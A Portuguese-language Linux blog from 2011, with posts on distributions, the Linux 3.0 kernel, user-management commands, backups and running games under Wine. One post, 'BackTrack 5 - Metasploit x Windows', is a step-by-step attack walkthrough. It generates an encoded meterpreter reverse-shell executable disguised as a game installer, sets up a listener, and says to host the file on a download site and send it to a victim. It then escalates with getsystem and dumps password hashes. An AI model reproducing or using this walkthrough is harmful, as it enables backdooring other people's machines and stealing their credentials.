sábado, 24 de dezembro de 2011

Mandriva



O nome mandriva denomina a empresa Mandriva e o seu produto, a distribuição MANDRIVA LINUX, uma distro linux disponível sob licença GPL para ser instalado em uma gama variada de computadores e com sua interface adequada para os mais diversos tipos de usuários e até servidores. Estima-se que a distribuição Mandriva Linux tenha mais de 3 milhões de usuários pelo mundo e é traduzida para cerca de 70 idiomas. A importante participação da equipe da empresa brasileira Conectiva, com sede em Curitiba-PR, tanto na sua construção e como na tradução, tornou o Mandriva Linux uma das melhores distribuições para desktops, tanto por sua facilidade de uso e configuração, como por ter toda a sua interface em português do Brasil.
 


 Veja os ambientes Gráficos - Mandriva

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quinta-feira, 22 de dezembro de 2011

Linux 3.0

Créditos: ibm.com

Cara, cadê meu script?

Engana-se, contudo, quem acha que uma mudança de número de versão só tem implicações estéticas. Os scripts usados pela infra-estrutura de gerenciamento de código do kernel dependiam do formato antigo, x.y.z.w e exigiram certo trabalho dos programadores para que continuassem funcionando no novo sistema x.y.z (a primeira versão de revisão do kernel 3.0 terá o número 3.0.1). A solução temporária para esse problema é que o Linux 3.0 informará a versão 3.0.0.
Além dos scripts, há ferramentas que dependem do sistema antigo para definir o modo como irão operar. Portanto, o kernel 3.0 deverá exigir atualizações em algumas dessas ferramentas, como as module-init-tools e o device-mapper.
Conclusão: tenha calma para atualizar seu kernel!
No entanto, há, sim, novidades deveras interessantes para todos os gostos. Após 64 dias de desenvolvimento, os 9.153 commits enviados por hackers de todo o planeta chegaram a um total de 36.795 arquivos que, juntos, compõem nosso kernel livre preferido.
 

Dom0 do Xen com um (nada) pequeno atraso

O recurso mais aguardado da versão 3.0 foi, enfim, a inclusão de todos os recursos necessários para o funcionamento do kernel Linux oficial como Dom0 sob o hypervisor Xen. Este recurso chegou, finalmente, após um atraso nada moderado de seis anos. Os motivos de tanta demora são polêmicos: o suporte a Dom0 do Xen exigia alterações em vários subsistemas do kernel, o que exigiu muito vai-e-vem de patches para manter o nível, a qualidade e o "dialeto" de cada área de interação entre os dois projetos. Ainda assim, argumentava-se que o kernel desenvolvido pela equipe do Xen funcionava a contento e não exigiria tanto diálogo. O fato é que o Linux finalmente se torna agora perfeitamente compatível com o uso como Dom0 no Xen. Ponto para a equipe do pinguim!
Por outro lado, "compatível" não significa que todos os recursos de um Dom0 estejam disponíveis no Linux. Por exemplo, o pass-through de USB ainda não foi implementado no código incluído nesta versão do Linux.
 

Btrfs e companhia

O "ZFS do Linux", Btrfs, ainda não está pronto. Porém, está consideravelmente mais rápido no Linux 3.0. Alterações no código de manipulação de inodes tornaram esse sistema de arquivos 15% mais veloz ao criar arquivos e 20% mais rápido para apagá-los. Junto a isso, agora é possível verificar a integridade de arquivos por meio de comandos de usuário usando checksums, e o código que lida com a criação de arquivos tornou-se capaz de detectar padrões causadores de fragmentação — um problema grande e frequente em sistemas de arquivos COW como o Btrfs — e evitá-los já na origem.
Com relação aos demais sistemas de arquivos, apenas Ext4 e XFS parecem receber atenção considerável dos desenvolvedores nos últimos tempos. Novidades no Ext4 reduzem o uso de memória em cenários de virtualização, e o XFS passa a trabalhar de forma mais econômica e eficiente com SSDs.
 

Colaram do Windows

O kernel Linux costumava reiniciar PCs de forma diferente de sistemas Windows. No entanto, alguns problemas detectados em certas combinações de hardware (como as de certas máquinas Apple e Lenovo) levaram os desenvolvedores a imitar o comportamento do sistema da Microsoft nesse quesito.
 

Cleancache

O cache de dados do disco na memória é um importante recurso para aumentar o desempenho no acesso a esses dados, pois a memória é algumas ordens de grandeza mais rápida do que discos mecânicos.
Com o novo recurso cleancache, o kernel passa a oferecer um cache com potencial para persistir na memória durante mais tempo e melhorar o desempenho do sistema como um todo, além de poder residir em dispositivos de armazenamento compactados. Curiosamente, a permanência desse cache na memória é imprevisível e praticamente incontrolável, mas seus resultados já se mostraram muito benéficos.
 

Rede

O principal avanço na área de redes no kernel 3.0 foi a inclusão de um compilador JIT para o Berkeley Packet Filter (BPF), capaz de acelerar significativa a captura de pacotes por meio da geração de código de assembler.
Nas redes wi-fi, finalmente os drivers para chips Ralink contemplam tudo que os drivers rt2860sta e rt2870sta faziam quando foram incorporados à árvore staging. Além disso, foi incluído o driver rtl8192se para chips PCIe desse modelo.
Além disso, uma nova chamada de sistema, a sendmmsg(), já se mostrou capaz de melhorar o throughput no envio de pacotes UDP em 20%. Com princípio semelhante ao da chamada recvmmsg() inaugurada no kernel 2.6.33, uma única chamada a sendmmsg() pode substituir múltiplas chamadas a recvmsg(), o que explica o ganho de velocidade.
 

Vídeo

Como de costume, a versão mais recente do kernel traz suporte novo ou melhorado a chips de vídeo: as GPUs embutidas em processadores AMD Llano e Intel Ivy Bridge já contam com suporte por parte do DRM, e o driver Nouveau também recebeu melhorias no suporte a tecnologias de alternância de GPUs.
 

Hardware é melhor que software

Um recurso antes fundamental para aumentar o desempenho de aplicativos, o prefetch, passa agora a ser desativado por padrão no kernel Linux. O motivo: processadores modernos já são capazes de realizar todo o prefetching sozinhos, sem ajuda do sistema operacional, e de forma mais eficaz. Com o prefetch ativado no hardware e no sistema operacional, o desempenho poderia até piorar.
 

Ajuda da Microsoft

O driver do kernel Linux para o hypervisor Hyper-V da Microsoft recebeu inúmeras alterações no Linux 3.0. Foram tantos changesets enviados pela empresa que seu desenvolvedor K. Y. Srinivasan ocupou a primeira colocação em número de changesets e a Microsoft ficou na sétima posição no ranking de empresas que enviaram changesets (e décima-sétima no número de linhas alteradas).
A ajuda da empresa chefiada por Steve Ballmer foi recebida e utilizada, mas o editor do site LWN não poupou críticas à empresa em seu relatório dos maiores contribuidores do kernel: "é impressionante ver quanta faxina é necessária para um código de menos de 15.000 linhas", comentou ao se referir à limpeza de código que respondeu pela maior parte dos envios de código da Microsoft.
 

Conclusão

No momento em que escrevo este post, meu kernel 3.0 está em processo de compilação. Caso eu encontre problemas em seu uso, estejam certos de que escreverei aqui um alerta a esse respeito.
Até a próxima! E que não haja problemas! :)
 

Links interessantes

Estes links forneceram informações valiosas para este post:

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Código do Linux

75% do código de Linux é escrito por programadores pagos

“Esqueçam aqueles FUDs sobre o linux ser desenvolvido por amadores anti-capitalistas. O desenvolvimento do linux tem tudo a ver com capitalismo e profissionalismo, como será mostrado a seguir. Na verdade, creio que é a primeira vez que temos um modelo de desenvolvimento de software por empresas de forma cooperativa, em que todos contribuem e todos se beneficiam em troca do que foi desenvolvido de forma cooperativa. É capitalismo puro, onde o desenvolvimento feito de forma cooperativa na verdade é mais rápido, eficiente e tem menores custos, que dificilmente uma só empresa teria condições de arcar, ainda mais em tempos de restrições orçamentárias nas grandes empresas.
Durante uma apresentação na Linux.conf.au 2010 em Wellington, o fundador da LWN.net e também contribuidor do kernel linux, Jonathan Corbet, ofereceu uma análise do código do kernel do Linux desenvolvido entre 24 de dezembro de 2008 e 10 de janeiro de 2010. (O kernel serve como base para distribuições como Ubuntu, Debian e muitas outras).
Uma enorme quantidade de código foi desenvolvida nesse período: 2,8 milhões de linhas de código e 55.000 mudanças importantes foram contribuídas para o kernel, que evoluiu da versão 2.6.28 para 2.6.32 durante este tempo. “O processo de desenvolvimento está claramente muito vivo e ativo”, Corbet, disse, observando que mais de 7.000 linhas de código são adicionadas a cada dia.
O aspecto mais marcante da análise, porém, foi de onde essas linhas de código se originaram. 18% das contribuições para o kernel foram feitas sem uma filiação corporativa específica, sugerindo esforços voluntários verdadeiros. Um adicional de 7% não foram classificadas. O restante eram de pessoas que trabalham para empresas específicas, em funções onde o desenvolvimento do código era um requisito importante. “75% do código vem de pessoas pagas para fazer isso”, disse Corbet.
Dentro desse campo, a Red Hat liderou esse gráfico com 12%, seguida pela Intel com 8%, IBM e Novell com 6% cada e Oracle com 3%. Apesar da clara rivalidade comercial entre os participantes, o desenvolvimento do kernel funcionou bem, Corbet observou.
Esses números também não incluem empresas como a Google, que contam com sistemas baseados em Linux para as suas próprias tecnologias, mas que tendem a não contribuir de volta com código para o kernel. A Google afirmou que deseja tornar-se mais envolvida no trabalho com a equipe núcleo do kernel, afastando-se da sua abordagem secreta tradicional em relação a seus próprios sistemas. “Este é um processo que muitas empresas parecem ter necessidade de passar”, disse Corbet.
Em encarnações anteriores receber suporte para dispositivos específicos embutido no kernel tem sido um grande desafio para o Linux, mas Corbet disse que o processo era agora muito mais simplificado. “O suporte de hardware é quase universal, apoiamos mais hardware do que qualquer outro sistema.”
Embora alguns dispositivos, como adaptadores de rede, ainda precisem de engenharia reversa para funcionar no Linux porque os vendedores não compartilham informações sobre sua arquitetura, Corbet sugeriu que esses exemplos eram raros e que o equipamentos alternativos eram geralmente disponíveis. “A melhor coisa a fazer é evitar esses fornecedores. Nós realmente não precisamos mais deles.”

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domingo, 18 de dezembro de 2011

Ferramenta para desenvolvimento web e programação.


 Bluefish

Ferramenta poderosa para desenvolvedores, Bluefish é um editor de texto voltado para a área de webdesign e programação. Grátis e de código aberto, este software, apesar de ser leve, é cheio de recursos.

Traduzido em mais de 15 línguas, incluindo o português, este editor possui abertura de arquivos por abas, suporte a vários tipos de codificação de caracteres e ferramentas de busca e substituição avançadas. Apresenta destaque de sintaxe configurável, além dos destaques para linguagens, como Python, HTML, PHP, C, Java, JavaScript, JSP, SQL, XML, Perl, CSS, ColdFusion, Pascal, Octave/MATLAB, entre outras.

Praticidade em desenvolvimento web

Com seu foco voltado ao webdesign, o Bluefish possui uma grande quantidade de recursos favoráveis a esta área.

Para facilitar a vida do usuário, este programa tem barras de ferramentas separadas por abas. Através desta característica, o desenvolvedor encontra mais facilidade na inserção de imagens, na criação de thumbnails e na aplicação de diálogos como tabelas e frames.

Este software ainda disponibiliza uma barra de ferramentas HTML configurável, para funções utilizadas com mais freqüência, um menu de tags bem variado e a habilidade de fechar automaticamente tags HTML e XML.

Integração

Possuindo integração com diversos aplicativos, você pode, por exemplo, compilar seu trabalho com seu makefile, sem precisar recorrer a um terminal para isso. Ele ainda possui suporte aos verificadores de HTML e XML weblint e xmllint, ao validador tidy e ao compilador Javac. O Bluefish também pode trabalhar junto a filtros externos, como sort, sed, awk, entre outros.

Mais opções

Com uma ferramenta de busca baseada no nome ou no tipo do arquivo, o usuário pode abrir diversos documentos ao mesmo tempo, recursivamente. O programa também possui suporte a arquivos remotos, com a ajuda do gnome-vsf, um sistema de arquivos virtual do ambiente gráfico GNOME.

Instalação

Este programa está disponível em pacotes .RPM e .DEB ou em código fonte. Para a instalação por pacotes, apenas dê um duplo-clique no arquivo, e a instalação estará completa.

Para sistemas que não possuem suporte a pacotes, a instalação deve ser feita através da compilação do código fonte. Para isso, descompacte o arquivo em uma paste de sua preferência.Abra o terminal e de o comando make para compilar e instalar.



Página de download:


http://www.bennewitz.com/bluefish/stable/source/

Fonte: Baixaki



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sábado, 17 de dezembro de 2011

BackTrack 5 - Metasploit x Windows

Um simples backdoor com o BT5 para realizar um pentest no windows
-
Vamos simular que o windows XP ( sp3 ) tenha o IP - 192.168.1.5 ( Para ver o ip digite ipconfig no prompt de comando )
O backtrack 5 tenha o IP - 192.168.1.6 ( Para ver o ip digite ifconfig no terminal )
-
Começando:

1 - Abra o terminal do Backtrack 5
2
- O código abaixo para gerar o arquivo.exe que irá fazer a conexão
entre os dois computadores através da própria shell do linux.


Código:

# msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=1234 R |
msfencode -t exe -x Desktop/file.exe -k -o Desktop/realfile.exe -c
x86/shikata_ga_nai -c 5


O comando acima pode ser alterado, exemplo:

# msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=5050 R |
msfencode -t exe -x /etc/instalar.exe -k -o Desktop/instalarjogo.exe -c
x86/shikata_ga_nai -c 5


Feito isso, irá gerar o .exe, deixe ele de lado por enquanto.

Agora no terminal digite:

# msfconsole

De a sequência de comandos:

use exploit/multi/handler
set meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 1234 ( se vc já sabe usar, fica a escolha )
exploit
Deixa esse terminal de lado agora, e abra
o navegador, vá em algum site para hospedar o arquivo.exe que foi
gerado, megaupload ou depositfiles fica a sua escolha.

Depois
de hospedar envie para o windows xp ( vitima ), no momento que ela
executar veja agora o terminal no backtrack se a caso deu certo vai
aparecer o meterpreter >

-
meterpreter >
Ai será digitados uma sequência de comandos, veja as informações de cada uma delas até o hashdump.
ps
Veja o system32 - 1660
Agora digite alguns comandos:

migrate 1660
getuid
getsystem
getuid
sysinfo
hashdump

Os comandos são simples, como sysinfo mostrar a versão do windows e por ai vai, digite help para ver cada um. 

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terça-feira, 13 de dezembro de 2011

Ubuntu em decadência?




O ano definitivamente não foi bom pra Canonical. O Ano do Linux não chegou para o Ubuntu, bem como as promessas de versões como o Ubuntu Mobile, anunciado em 2008 e cancelado. No melhor estilo Nicholas Negroponte Mark Shuttleworth agora promete Ubuntu em Tablets, smartphones, Smart TVs, torradeiras e se der mole até em brinquedos educativos.
Enquanto isso a outrora distro com mais reconhecimento de marca, que anunciava em grandes jornais e era citada nominalmente pela concorrência falhou em se consolidar entre o formigueiro que é o ecossistema de distribuições Linux.
A rigor o Mint ultrapassou o Ubuntu 12 meses atrás, quando atingiu 25% entre as 5 principais distros Linux, superando os 25% do Ubuntu, mas no último mês a situação se tornou preocupante pro até então sistema operacional marrom-cocô (ou marrom-zune, você quem sabe).
Vejam este gráfico criado pelo Royal Pingdom, mostrando o share das principais distros. O Ubuntu aparece melhor posicionado do que deveria, mas tenha em mente que esse gráfico é uma atualização, para atender o mimimi dos fanboys que acharam injusto separar Ubuntu de Kubuntu, Zubuntu, Urubuntu ou seja lá quantas sub-distros ele tenha.




Quase todos os analistas apontam a queda do Ubuntu à introdução da nova interface Unity, A polêmica causada pelo abandono do Gnome é mais que pública, a Canonical está sendo acusada de trair o movimento.
Há bons indícios de que isso é planejado, para melhor controlarem o sistema e garantirem uma interface enxuta para as tais futuras versões mobile, tablet, tv, dildo, etc.
Uma  leitura possível é que a Canonical considera o desktop irrelevante e está se preparando para enfrentar Android, iOS e Windows 8 no mundo mobile. Boa sorte pra ela.
De resto só nos resta imaginar quando será o Ano do Ubuntu no Mobile.

Publicado: 12/12/11

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segunda-feira, 12 de dezembro de 2011

Comandos para gerenciamento de usuários e grupos

 Comandos básicos para o gerenciamento de usurários e grupos no Linux

Useradd

O comando useradd é usado para criar usuários no linux e é executado diretamente no terminal como root.

Comandos

# useradd --help - Exibe as diversas opções que podem ser usadas junto ao comando.

# man useradd - Manual do Comando.

Opções mais usadas
-
-c - GECOS da nova conta ( armazenamento de dados no passwd ). Ex: "Lentrius2 T.o.H"
-
-d - Diretório home para a nova conta. Ex: /home/lentrius2
-
-e - Data em que a nova conta irá expirar. Ex: 11/11/2011
-
-g - Usada para definir o grupo do novo usuário. Ex: Temple_Of_Hackers
-
-s - Shell da conta. Ex: /bin/bash
-
A outros comando, veja no useradd -h.

Exemplo do uso dos comandos:

# useradd -d /home/lentrius2 -m -c "Lentrius2 T.o.H" -s /bin/bash -g Temple_Of_Hackers
Obs: Os comandos usados foram ( -d -m -c -s e -g ).

Adduser

Comando mais simplificado com a mesma função:

# adduser Lentrius2

Basta "responder" as perguntas do shell e irá criar um usuário de acordo com suas necessidades.


Usermod
-
Usado para modificar a configuração das contas de usuário.
-
Comandos:
-
# usermod --help - Exibe as diversas opções que podem ser usadas junto ao comando.
-
# man usermod - Manual do Comando.
-
Opções mais usadas
-
-c - Usado para gravar no arquivo passwd o nome do usuário e outros itens ( comentários, observações e outros ).
-
-d - Diretório home para a conta.
-
-s - Shell da conta.
-
-G - Adicionar vários grupos.
-
-L ( Trava conta, usado ! no passwd ) e -U ( Desbloqueia, tirando ! do passwd )
-
Exemplo:
-
# usermod -c "Lentrius2 T.o.H" Lentrius2 -s /bin/sh
-
Mais em: usermod -h

Passwd
-
Usado para alterar senhas de usuários.
-
Comandos:
-
# passwd --help - Exibe as diversas opções que podem ser usadas junto ao comando.
-
# man passwd - Manual do Comando.
-
Exemplo básico:
-
# passwd Lentrius2
-
( Digite a nova senha )


Userdel
-
Usado para remover usuários e seus arquivos.
-
Comandos:
-
# userdel --help - Exibe as diversas opções que podem ser usadas junto ao comando.
-
# man userdel - Manual do Comando
-
Opções:
-
-r - Remover a conta junto com seu diretório home.
-
-f - Força a remoção dos arquivos do usuário.
-
Exemplo:
-
# userdel -f Lentrius2

Gerenciamento de Usuários e Grupos


  

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quinta-feira, 1 de dezembro de 2011

Começando Linux



Aula - 1.0

História
Características
Formas de Instalação
Kernel
Ambientes Gráficos
Servidor Gráfico - X e Servidor Texto - Shell
Organograma
Exercícios


Download da Aula 1.0

Crocko


Aula 1.1


Dispositivos de Armazenamento
Nomenclatura de Dispositivos
Programas Particionadores
Sistema de Arquivos 
Exercícios

Download da Aula 1.1


Aula 2.0

Instalação do linux no pendrive usando Live Usb Creator
Configurar boot para pendrive
 Usar linux em modo Live
Testes básicos do sistema

Download da Aula 2.0


Aula 2.1

Instalação
Particionamento

Download da aula 2.1


Aula 3.0

Diretórios
Drivers
Atualizações
Idiomas
Programas e comandos básicos

Download aula 3.0

Megaupload

Aula 3.1
Programas
Comandos básicos


Download aula 3.1


Aula 3.2


Programas
Comandos básicos


Download aula 3.2


Megaupload
Crocko

 Aula 3.3


Personalização de Desk


Download aula 3.3


Megaupload
Crocko

Aula 4.0


Comandos


Download aula 4.0

Megaupload
Crocko

Aula 4.1


Exercícios rápidos


Download aula 4.1


Crocko

Obs: Desculpe algum erro ou falta de informação o tempo não me ajuda, mas ao final do pdf terá meu e-mail caso houver alguma duvida.




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quarta-feira, 30 de novembro de 2011

Simulador - 18 wos alh no Linux


O jogo é um simulador de caminhão, esse tutorial mostra como executá-lo no sistema operacional linux.
Lembrando que o mesmo que foi feito aqui, pode ser feito com outros jogos, mas não garanto 100% que irá funcionar.



Começando:

1- Tenha seu driver de vídeo atualizado.

2- Instale o wine ( no terminal digite: sudo apt-get install ) e reinicie o computador

3- Faça o download do game e descompacte - Entre

4 - Abra o terminal e digite winefile, procure o executável do jogo ( American Long Haul.exe ) no meu caso está no HD externo.



5- Irá abrir uma tela de configurações, configure escolhendo seu driver em device, vc ttambém poderá configurar o áudio,  a resolução, o nível dos detalhes e o nível de qualidade.



6- Execute o jogo



Para começar vc pode escolher a opção single delivery que será executado uma parte do jogo ( ex: vc escolhe o frete e quando chegar ao destino o jogo volta para o menu, e opção campaign que após descarregar vc terá de ir a outra empresa ou na mesma escolher outro frete.



7- O mod explorando a américa é uma edição brasileira que tem muitas cidades do Brasil, Argentina, Chile, Bolivia e outras.

8- Faça o download do mod na versão 6 totalmente em português - Entre

9- Para usar a modificação brasileira abra o menu e na aba do wine e vá até navegar no disco C e em seguida entre no diretório; users seunome meus documentos 18 wos alh mod e coloque os arquivos scs do mapa explorando a América que você fez o download.



10- Agora abra o jogo novamente, irá travar um pouco na tela iniciar mas é só entrar em Novo Jogo, também vai demorar um pouco quando estiver carregando o game.

11- Há umas manhas de colocar dinheiro, tirar policia, tirar o sono do motorista mas isso é só procurar no blog brasileiro postado no inicio.


Para alternar as câmeras, aperte entre 1,2,3,4,5,6 e 7, escolha a de sua preferência.


Vídeo do jogo com a modificação




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Fedora 16 Desktop Edition

Introdução
O Fedora é um sistema operativo que tem por base o Linux, uma coleção de software que faz com que o seu computador trabalhe. Pode utilizar o Fedora em conjunto com, ou em vez de, outro sistema operativo como o Microsoft Windows™ ou o Mac OS X™. O sistema operativo Fedora é completamente livre de custos para poder usufruir e partilhar.
O Projecto Fedora é o nome de uma comunidade mundial de pessoas que adoram, utilizam e desenvolvem software livre em todo o mundo. Queremos liderar na criação e divulgação de código e conteúdo livre, trabalhando juntos como uma comunidade. O Fedora é patrocinado pela Red Hat, o fornecedor mundial de tecnologia open source de mais confiança. A Red Hat investe no Fedora para fomentar a colaboração e incubar novas e inovadoras tecnologias de software livre.


Ambientes de Trabalho


32 bit - Download 64 bit - Download

 
 32 bit - Download 64 bit - Download
 

32 bit - Download  64 bit - Download



32 bit - Download 64 bit - Download



Guia de instalação - Entre

Notas da versão - Entre

Procura ajuda? - Entre

Site oficial - Entre

Site pt/br - Entre




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terça-feira, 29 de novembro de 2011

Cursos gratuitos de Linux

Linux no Servidor

Um Servidor LINUX se apresenta como uma máquina como outra qualquer em um ambiente Windows. Nesse exemplo o Servidor Linux (Samba), tem 2 compartilhamentos vísiveis (Gigante/ Netlogon) que podem ser utilizados pelos usuários de forma normal e transparente.

Curso

Linux Monte sua Rede

Linux Monte sua Rede Faça você mesmo sua estrutura de rede. Sem complicações, este CD-ROM mostra tudo que você precisa saber para interligar seus micros, compartilhando sua impressora e o acesso à internet por banda larga. E o que é melhor, tanto faz se a plataforma é Windows ou Linux.

Linux no Desktop

Linux no Desktop - Montar um escritório todo baseado em software livre nunca foi tão fácil! É só seguir os passos e instalar todos os aplicativos do sistema operacional do pingüim no seu computador.

Curso de Shell Script 

1 - Introdução

2 - Criando o primeiro script

3 - Comando Test

4 - Estrutura if

5 - Exemplo Prático

6 - Estrutura Case

7 - Loops


Curso de Shell Script Avançado

 

  1. Funções
  2. Script com opções de linhas de comando
  3. Caracteres de Controle
  4. Arquivos de configuração
  5. Expressões regulares
  6. Debug
  7. Interfaces gráficas com dialog

 

 

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Backup com o Mondo

 O mondo é um soft para backup no linux, ele cria uma imagem .iso do seus sistema com pastas, pacotes e dados.

Para instalar o mondo, abra o terminal e digite su e sua senha.
Agora de o comando:

# apt-get install mondo

Instalado, agora ainda no terminal de o comando:

 mondoarchive

Vai carregar o mondo, vai aparecer a seguinte tela:
Selecione apertando TAB e depois Enter, você pode escolher a que quiser, mas recomendo a HardDisk

Selecionado, agora escolha o local onde deseja salvar o seu 'backup', ( Eu vou usar meu HD externo/media/APOLLO_/BackUP ) :
 Lembrando que para selecionar use TAB e depois Enter, depois de selecionar o local vai aparecer a outra tela perguntando qual o tamanho que você vai querer o Backup, eu dei enter para default.
Na próxima tela você vai selecionar o nome, o padrão é 'mondorescue', vc pode alterá-lo com o nome que desejar.iso


 Eu usei 'backuplinuxmint.iso', feito isso de TAB e Selecione Ok para continuar.
Continuado...

Dando Ok, vai aparecer está imagem:



Você tem de especificar qual pasta de arquivos quer que o Mondo copie, vem por padrão o diretório '/'

Exemplo: '/home/lentrius/Documentos', de OK para prosseguir.


Aqui você vai ou não selecionar as pastas que queria excluir, deixe em branco se quiser fazer o backup completo e não excluir nada.

Lembrando que tem de digitar NB antes da pasta que queria excluir, ex: NB /home/lentrius/Doumentos/Curso.

Agora, ele vai pedir se quer verificar o seu backup:


Se preferir, de OK 

Agora ele vai pedir a confirmação


Eu dei OK para começar a verificação.

Vai ser dado um alerta para você não interromper o processo, de Yes.

 
Espere terminar e pronto,  feito o backup.

Site Oficial - Mondo-Recue

  

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Linux Mint 12 - Lisa














O Linux Mint 12 "Lisa" é baseado no Linux kernel 3.0 e passou a adotar do GNOME 3. Para corrigir problemas que ocorreram com a mudança do GNOME 2 para o 3, os desenvolvedores do Mint criaram o Mint Gnome Shell Extensions (MGSE). Ele promete oferecer uma experiência do GNOME 3 suficientemente próxima à que os usuários que gostavam do GNOME 2 estão acostumados.

Mais informações neste link

O download do Linux Mint 12 final pode ser feito na versão DVD ou CD - 32 e 64 bit


Screenshots




Video - View



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